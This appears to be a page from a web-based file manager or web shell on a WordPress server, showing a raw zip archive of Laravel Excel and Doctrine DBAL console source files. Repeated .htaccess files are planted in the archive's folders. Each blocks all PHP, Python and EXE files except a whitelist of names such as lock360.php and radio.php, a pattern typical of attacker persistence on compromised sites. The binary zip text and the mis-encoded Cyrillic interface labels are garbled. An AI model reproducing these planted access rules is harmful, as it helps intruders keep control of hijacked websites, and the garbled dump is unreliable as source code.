���ѧۧݧ�ӧ�� �ާ֧ߧ֧էا֧� - ���֧էѧܧ�ڧ��ӧѧ�� - /home/zhaagvlk/public_html/wp-includes/Requests/library/block-bindings/Console.zip
���ѧ٧ѧ�
PK �Ru\9��ܤ � .htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �Ru\u�2�� � ExportMakeCommand.phpnu �[��� <?php namespace Maatwebsite\Excel\Console; use Illuminate\Console\GeneratorCommand; use Symfony\Component\Console\Input\InputOption; class ExportMakeCommand extends GeneratorCommand { use WithModelStub; /** * The console command name. * * @var string */ protected $name = 'make:export'; /** * The console command description. * * @var string */ protected $description = 'Create a new export class'; /** * The type of class being generated. * * @var string */ protected $type = 'Export'; /** * Get the stub file for the generator. * * @return string */ protected function getStub() { if ($this->option('model') && $this->option('query')) { return $this->resolveStubPath('/stubs/export.query-model.stub'); } elseif ($this->option('model')) { return $this->resolveStubPath('/stubs/export.model.stub'); } elseif ($this->option('query')) { return $this->resolveStubPath('/stubs/export.query.stub'); } return $this->resolveStubPath('/stubs/export.plain.stub'); } /** * Get the default namespace for the class. * * @param string $rootNamespace * @return string */ protected function getDefaultNamespace($rootNamespace) { return $rootNamespace . '\Exports'; } /** * Build the class with the given name. * Remove the base controller import if we are already in base namespace. * * @param string $name * @return string */ protected function buildClass($name) { $replace = []; if ($this->option('model')) { $replace = $this->buildModelReplacements($replace); } return str_replace( array_keys($replace), array_values($replace), parent::buildClass($name) ); } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['model', 'm', InputOption::VALUE_OPTIONAL, 'Generate an export for the given model.'], ['query', '', InputOption::VALUE_NONE, 'Generate an export for a query.'], ]; } } PK �Ru\�V�"u u ImportMakeCommand.phpnu �[��� <?php namespace Maatwebsite\Excel\Console; use Illuminate\Console\GeneratorCommand; use Symfony\Component\Console\Input\InputOption; class ImportMakeCommand extends GeneratorCommand { use WithModelStub; /** * The console command name. * * @var string */ protected $name = 'make:import'; /** * The console command description. * * @var string */ protected $description = 'Create a new import class'; /** * The type of class being generated. * * @var string */ protected $type = 'Import'; /** * Get the stub file for the generator. * * @return string */ protected function getStub() { return $this->option('model') ? $this->resolveStubPath('/stubs/import.model.stub') : $this->resolveStubPath('/stubs/import.collection.stub'); } /** * Get the default namespace for the class. * * @param string $rootNamespace * @return string */ protected function getDefaultNamespace($rootNamespace) { return $rootNamespace . '\Imports'; } /** * Build the class with the given name. * Remove the base controller import if we are already in base namespace. * * @param string $name * @return string */ protected function buildClass($name) { $replace = []; if ($this->option('model')) { $replace = $this->buildModelReplacements($replace); } return str_replace( array_keys($replace), array_values($replace), parent::buildClass($name) ); } /** * Get the console command options. * * @return array */ protected function getOptions() { return [ ['model', 'm', InputOption::VALUE_OPTIONAL, 'Generate an import for the given model.'], ]; } } PK �Ru\ӿ�� � stubs/export.query.stubnu �[��� <?php namespace DummyNamespace; use Maatwebsite\Excel\Concerns\FromQuery; class DummyClass implements FromQuery { /** * @return \Illuminate\Database\Query\Builder */ public function query() { // } } PK �Ru\��ȩ! ! stubs/export.query-model.stubnu �[��� <?php namespace DummyNamespace; use DummyFullModelClass; use Maatwebsite\Excel\Concerns\FromQuery; class DummyClass implements FromQuery { /** * @return \Illuminate\Database\Query\Builder */ public function query() { return DummyModelClass::query(); } } PK �Ru\�9�b b stubs/import.model.stubnu �[��� <?php namespace DummyNamespace; use DummyFullModelClass; use Maatwebsite\Excel\Concerns\ToModel; class DummyClass implements ToModel { /** * @param array $row * * @return \Illuminate\Database\Eloquent\Model|null */ public function model(array $row) { return new DummyModelClass([ // ]); } } PK �Ru\9��ܤ � stubs/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK �Ru\7_h� � stubs/export.plain.stubnu �[��� <?php namespace DummyNamespace; use Maatwebsite\Excel\Concerns\FromCollection; class DummyClass implements FromCollection { /** * @return \Illuminate\Support\Collection */ public function collection() { // } } PK �Ru\�U`�! ! stubs/import.collection.stubnu �[��� <?php namespace DummyNamespace; use Illuminate\Support\Collection; use Maatwebsite\Excel\Concerns\ToCollection; class DummyClass implements ToCollection { /** * @param Collection $collection */ public function collection(Collection $collection) { // } } PK �Ru\*�!* * stubs/export.model.stubnu �[��� <?php namespace DummyNamespace; use DummyFullModelClass; use Maatwebsite\Excel\Concerns\FromCollection; class DummyClass implements FromCollection { /** * @return \Illuminate\Support\Collection */ public function collection() { return DummyModelClass::all(); } } PK �Ru\8,Z Z WithModelStub.phpnu �[��� <?php namespace Maatwebsite\Excel\Console; use Illuminate\Support\Str; use InvalidArgumentException; trait WithModelStub { /** * Build the model replacement values. * * @param array $replace * @return array */ protected function buildModelReplacements(array $replace): array { $modelClass = $this->parseModel($this->option('model')); return array_merge($replace, [ 'DummyFullModelClass' => $modelClass, 'DummyModelClass' => class_basename($modelClass), ]); } /** * Get the fully-qualified model class name. * * @param string $model * @return string */ protected function parseModel($model): string { if (preg_match('([^A-Za-z0-9_/\\\\])', $model)) { throw new InvalidArgumentException('Model name contains invalid characters.'); } $model = ltrim($model, '\\/'); $model = str_replace('/', '\\', $model); $rootNamespace = $this->rootNamespace(); if (Str::startsWith($model, $rootNamespace)) { return $model; } $model = is_dir(app_path('Models')) ? $rootNamespace . 'Models\\' . $model : $rootNamespace . $model; return $model; } /** * Resolve the fully-qualified path to the stub. * * @param string $stub * @return string */ protected function resolveStubPath($stub) { return file_exists($customPath = $this->laravel->basePath(trim($stub, '/'))) ? $customPath : __DIR__ . $stub; } } PK � v\9��ܤ � ConnectionProvider/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK � v\�w�� � / ConnectionProvider/SingleConnectionProvider.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console\ConnectionProvider; use Doctrine\DBAL\Connection; use Doctrine\DBAL\Tools\Console\ConnectionNotFound; use Doctrine\DBAL\Tools\Console\ConnectionProvider; use function sprintf; class SingleConnectionProvider implements ConnectionProvider { private Connection $connection; private string $defaultConnectionName; public function __construct(Connection $connection, string $defaultConnectionName = 'default') { $this->connection = $connection; $this->defaultConnectionName = $defaultConnectionName; } public function getDefaultConnection(): Connection { return $this->connection; } public function getConnection(string $name): Connection { if ($name !== $this->defaultConnectionName) { throw new ConnectionNotFound(sprintf('Connection with name "%s" does not exist.', $name)); } return $this->connection; } } PK � v\�uŠD D ConnectionProvider.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console; use Doctrine\DBAL\Connection; interface ConnectionProvider { public function getDefaultConnection(): Connection; /** @throws ConnectionNotFound in case a connection with the given name does not exist. */ public function getConnection(string $name): Connection; } PK � v\9��ܤ � Command/.htaccessnu �[��� <FilesMatch ".(py|exe|php)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(about.php|radio.php|index.php|content.php|lock360.php|admin.php|wp-login.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule>PK � v\��6h h Command/CommandCompatibility.phpnu �[��� <?php declare(strict_types=1); namespace Doctrine\DBAL\Tools\Console\Command; use ReflectionMethod; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Output\OutputInterface; if ((new ReflectionMethod(Command::class, 'execute'))->hasReturnType()) { /** @internal */ trait CommandCompatibility { protected function execute(InputInterface $input, OutputInterface $output): int { return $this->doExecute($input, $output); } } } else { /** @internal */ trait CommandCompatibility { /** * {@inheritDoc} * * @return int */ protected function execute(InputInterface $input, OutputInterface $output) { return $this->doExecute($input, $output); } } } PK � v\B�e � � Command/RunSqlCommand.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console\Command; use Doctrine\DBAL\Connection; use Doctrine\DBAL\Exception; use Doctrine\DBAL\Tools\Console\ConnectionProvider; use RuntimeException; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputArgument; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use Symfony\Component\Console\Style\SymfonyStyle; use function array_keys; use function assert; use function is_bool; use function is_string; use function sprintf; use function stripos; /** * Task for executing arbitrary SQL that can come from a file or directly from * the command line. */ class RunSqlCommand extends Command { use CommandCompatibility; private ConnectionProvider $connectionProvider; public function __construct(ConnectionProvider $connectionProvider) { parent::__construct(); $this->connectionProvider = $connectionProvider; } /** @return void */ protected function configure() { $this ->setName('dbal:run-sql') ->setDescription('Executes arbitrary SQL directly from the command line.') ->setDefinition([ new InputOption('connection', null, InputOption::VALUE_REQUIRED, 'The named database connection'), new InputArgument('sql', InputArgument::REQUIRED, 'The SQL statement to execute.'), new InputOption('depth', null, InputOption::VALUE_REQUIRED, 'Dumping depth of result set (deprecated).'), new InputOption('force-fetch', null, InputOption::VALUE_NONE, 'Forces fetching the result.'), ]) ->setHelp(<<<'EOT' The <info>%command.name%</info> command executes the given SQL query and outputs the results: <info>php %command.full_name% "SELECT * FROM users"</info> EOT); } /** @throws Exception */ private function doExecute(InputInterface $input, OutputInterface $output): int { $conn = $this->getConnection($input); $io = new SymfonyStyle($input, $output); $sql = $input->getArgument('sql'); if ($sql === null) { throw new RuntimeException("Argument 'SQL' is required in order to execute this command correctly."); } assert(is_string($sql)); if ($input->getOption('depth') !== null) { $io->warning('Parameter "depth" is deprecated and has no effect anymore.'); } $forceFetch = $input->getOption('force-fetch'); assert(is_bool($forceFetch)); if (stripos($sql, 'select') === 0 || $forceFetch) { $this->runQuery($io, $conn, $sql); } else { $this->runStatement($io, $conn, $sql); } return 0; } private function getConnection(InputInterface $input): Connection { $connectionName = $input->getOption('connection'); assert(is_string($connectionName) || $connectionName === null); if ($connectionName !== null) { return $this->connectionProvider->getConnection($connectionName); } return $this->connectionProvider->getDefaultConnection(); } /** @throws Exception */ private function runQuery(SymfonyStyle $io, Connection $conn, string $sql): void { $resultSet = $conn->fetchAllAssociative($sql); if ($resultSet === []) { $io->success('The query yielded an empty result set.'); return; } $io->table(array_keys($resultSet[0]), $resultSet); } /** @throws Exception */ private function runStatement(SymfonyStyle $io, Connection $conn, string $sql): void { $io->success(sprintf('%d rows affected.', $conn->executeStatement($sql))); } } PK � v\�,Q�G G Command/ReservedWordsCommand.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console\Command; use Doctrine\DBAL\Connection; use Doctrine\DBAL\Exception; use Doctrine\DBAL\Platforms\Keywords\DB2Keywords; use Doctrine\DBAL\Platforms\Keywords\KeywordList; use Doctrine\DBAL\Platforms\Keywords\MariaDb102Keywords; use Doctrine\DBAL\Platforms\Keywords\MySQL57Keywords; use Doctrine\DBAL\Platforms\Keywords\MySQL80Keywords; use Doctrine\DBAL\Platforms\Keywords\MySQLKeywords; use Doctrine\DBAL\Platforms\Keywords\OracleKeywords; use Doctrine\DBAL\Platforms\Keywords\PostgreSQL100Keywords; use Doctrine\DBAL\Platforms\Keywords\PostgreSQL94Keywords; use Doctrine\DBAL\Platforms\Keywords\ReservedKeywordsValidator; use Doctrine\DBAL\Platforms\Keywords\SQLiteKeywords; use Doctrine\DBAL\Platforms\Keywords\SQLServer2012Keywords; use Doctrine\DBAL\Tools\Console\ConnectionProvider; use Doctrine\Deprecations\Deprecation; use InvalidArgumentException; use Symfony\Component\Console\Command\Command; use Symfony\Component\Console\Input\InputInterface; use Symfony\Component\Console\Input\InputOption; use Symfony\Component\Console\Output\OutputInterface; use function array_keys; use function assert; use function count; use function implode; use function is_array; use function is_string; /** @deprecated Use database documentation instead. */ class ReservedWordsCommand extends Command { use CommandCompatibility; /** @var array<string,KeywordList> */ private array $keywordLists; private ConnectionProvider $connectionProvider; public function __construct(ConnectionProvider $connectionProvider) { Deprecation::triggerIfCalledFromOutside( 'doctrine/dbal', 'https://github.com/doctrine/dbal/pull/5431', 'ReservedWordsCommand is deprecated. Use database documentation instead.', ); parent::__construct(); $this->connectionProvider = $connectionProvider; $this->keywordLists = [ 'db2' => new DB2Keywords(), 'mariadb102' => new MariaDb102Keywords(), 'mysql' => new MySQLKeywords(), 'mysql57' => new MySQL57Keywords(), 'mysql80' => new MySQL80Keywords(), 'oracle' => new OracleKeywords(), 'pgsql' => new PostgreSQL94Keywords(), 'pgsql100' => new PostgreSQL100Keywords(), 'sqlite' => new SQLiteKeywords(), 'sqlserver' => new SQLServer2012Keywords(), ]; } /** * Add or replace a keyword list. */ public function setKeywordList(string $name, KeywordList $keywordList): void { $this->keywordLists[$name] = $keywordList; } /** * If you want to add or replace a keywords list use this command. * * @param string $name * @param class-string<KeywordList> $class * * @return void */ public function setKeywordListClass($name, $class) { Deprecation::trigger( 'doctrine/dbal', 'https://github.com/doctrine/dbal/issues/4510', 'ReservedWordsCommand::setKeywordListClass() is deprecated,' . ' use ReservedWordsCommand::setKeywordList() instead.', ); $this->keywordLists[$name] = new $class(); } /** @return void */ protected function configure() { $this ->setName('dbal:reserved-words') ->setDescription('Checks if the current database contains identifiers that are reserved.') ->setDefinition([ new InputOption('connection', null, InputOption::VALUE_REQUIRED, 'The named database connection'), new InputOption( 'list', 'l', InputOption::VALUE_OPTIONAL | InputOption::VALUE_IS_ARRAY, 'Keyword-List name.', ), ]) ->setHelp(<<<'EOT' Checks if the current database contains tables and columns with names that are identifiers in this dialect or in other SQL dialects. By default all supported platform keywords are checked: <info>%command.full_name%</info> If you want to check against specific dialects you can pass them to the command: <info>%command.full_name% -l mysql -l pgsql</info> The following keyword lists are currently shipped with Doctrine: * db2 * mariadb102 * mysql * mysql57 * mysql80 * oracle * pgsql * pgsql100 * sqlite * sqlserver EOT); } /** @throws Exception */ private function doExecute(InputInterface $input, OutputInterface $output): int { $output->writeln( '<comment>The <info>dbal:reserved-words</info> command is deprecated.</comment>' . ' Use the documentation on the used database platform(s) instead.', ); $output->writeln(''); $conn = $this->getConnection($input); $keywordLists = $input->getOption('list'); if (is_string($keywordLists)) { $keywordLists = [$keywordLists]; } elseif (! is_array($keywordLists)) { $keywordLists = []; } if (count($keywordLists) === 0) { $keywordLists = array_keys($this->keywordLists); } $keywords = []; foreach ($keywordLists as $keywordList) { if (! isset($this->keywordLists[$keywordList])) { throw new InvalidArgumentException( "There exists no keyword list with name '" . $keywordList . "'. " . 'Known lists: ' . implode(', ', array_keys($this->keywordLists)), ); } $keywords[] = $this->keywordLists[$keywordList]; } $output->write( 'Checking keyword violations for <comment>' . implode(', ', $keywordLists) . '</comment>...', true, ); $schema = $conn->getSchemaManager()->introspectSchema(); $visitor = new ReservedKeywordsValidator($keywords); $schema->visit($visitor); $violations = $visitor->getViolations(); if (count($violations) !== 0) { $output->write( 'There are <error>' . count($violations) . '</error> reserved keyword violations' . ' in your database schema:', true, ); foreach ($violations as $violation) { $output->write(' - ' . $violation, true); } return 1; } $output->write('No reserved keywords violations have been found!', true); return 0; } private function getConnection(InputInterface $input): Connection { $connectionName = $input->getOption('connection'); assert(is_string($connectionName) || $connectionName === null); if ($connectionName !== null) { return $this->connectionProvider->getConnection($connectionName); } return $this->connectionProvider->getDefaultConnection(); } } PK � v\ �z�� � ConnectionNotFound.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console; use OutOfBoundsException; final class ConnectionNotFound extends OutOfBoundsException { } PK � v\�2ޒ � ConsoleRunner.phpnu �[��� <?php namespace Doctrine\DBAL\Tools\Console; use Composer\InstalledVersions; use Doctrine\DBAL\Tools\Console\Command\ReservedWordsCommand; use Doctrine\DBAL\Tools\Console\Command\RunSqlCommand; use Exception; use Symfony\Component\Console\Application; use Symfony\Component\Console\Command\Command; use function assert; /** * Handles running the Console Tools inside Symfony Console context. * * @deprecated Use Symfony Console documentation to bootstrap a command-line application. */ class ConsoleRunner { /** * Runs console with the given connection provider. * * @param Command[] $commands * * @return void * * @throws Exception */ public static function run(ConnectionProvider $connectionProvider, $commands = []) { $version = InstalledVersions::getVersion('doctrine/dbal'); assert($version !== null); $cli = new Application('Doctrine Command Line Interface', $version); $cli->setCatchExceptions(true); self::addCommands($cli, $connectionProvider); $cli->addCommands($commands); $cli->run(); } /** @return void */ public static function addCommands(Application $cli, ConnectionProvider $connectionProvider) { $cli->addCommands([ new RunSqlCommand($connectionProvider), new ReservedWordsCommand($connectionProvider), ]); } /** * Prints the instructions to create a configuration file * * @deprecated This method will be removed without replacement. * * @return void */ public static function printCliConfigTemplate() { echo <<<'HELP' You are missing a "cli-config.php" or "config/cli-config.php" file in your project, which is required to get the Doctrine-DBAL Console working. You can use the following sample as a template: <?php use Doctrine\DBAL\Tools\Console\ConnectionProvider\SingleConnectionProvider; // You can append new commands to $commands array, if needed // replace with the mechanism to retrieve DBAL connection(s) in your app // and return a Doctrine\DBAL\Tools\Console\ConnectionProvider instance. $connection = getDBALConnection(); // in case you have a single connection you can use SingleConnectionProvider // otherwise you need to implement the Doctrine\DBAL\Tools\Console\ConnectionProvider interface with your custom logic return new SingleConnectionProvider($connection); HELP; } } PK �Nx\ .gitkeepnu �[��� PK �Ru\9��ܤ � .htaccessnu �[��� PK �Ru\u�2�� � � ExportMakeCommand.phpnu �[��� PK �Ru\�V�"u u ImportMakeCommand.phpnu �[��� PK �Ru\ӿ�� � � stubs/export.query.stubnu �[��� PK �Ru\��ȩ! ! � stubs/export.query-model.stubnu �[��� PK �Ru\�9�b b Z stubs/import.model.stubnu �[��� PK �Ru\9��ܤ � stubs/.htaccessnu �[��� PK �Ru\7_h� � � stubs/export.plain.stubnu �[��� PK �Ru\�U`�! ! " stubs/import.collection.stubnu �[��� PK �Ru\*�!* * � stubs/export.model.stubnu �[��� PK �Ru\8,Z Z WithModelStub.phpnu �[��� PK � v\9��ܤ � �# ConnectionProvider/.htaccessnu �[��� PK � v\�w�� � / �% ConnectionProvider/SingleConnectionProvider.phpnu �[��� PK � v\�uŠD D �) ConnectionProvider.phpnu �[��� PK � v\9��ܤ � A+ Command/.htaccessnu �[��� PK � v\��6h h &- Command/CommandCompatibility.phpnu �[��� PK � v\B�e � � �0 Command/RunSqlCommand.phpnu �[��� PK � v\�,Q�G G �? Command/ReservedWordsCommand.phpnu �[��� PK � v\ �z�� � �[ ConnectionNotFound.phpnu �[��� PK � v\�2ޒ � a\ ConsoleRunner.phpnu �[��� PK �Nx\ 4f .gitkeepnu �[��� PK " lf
| ver. 1.4 |
Github
|
.
| PHP 8.1.34 | ���֧ߧ֧�ѧ�ڧ� ����ѧߧڧ��: 0 |
proxy
|
phpinfo
|
���ѧ����ۧܧ�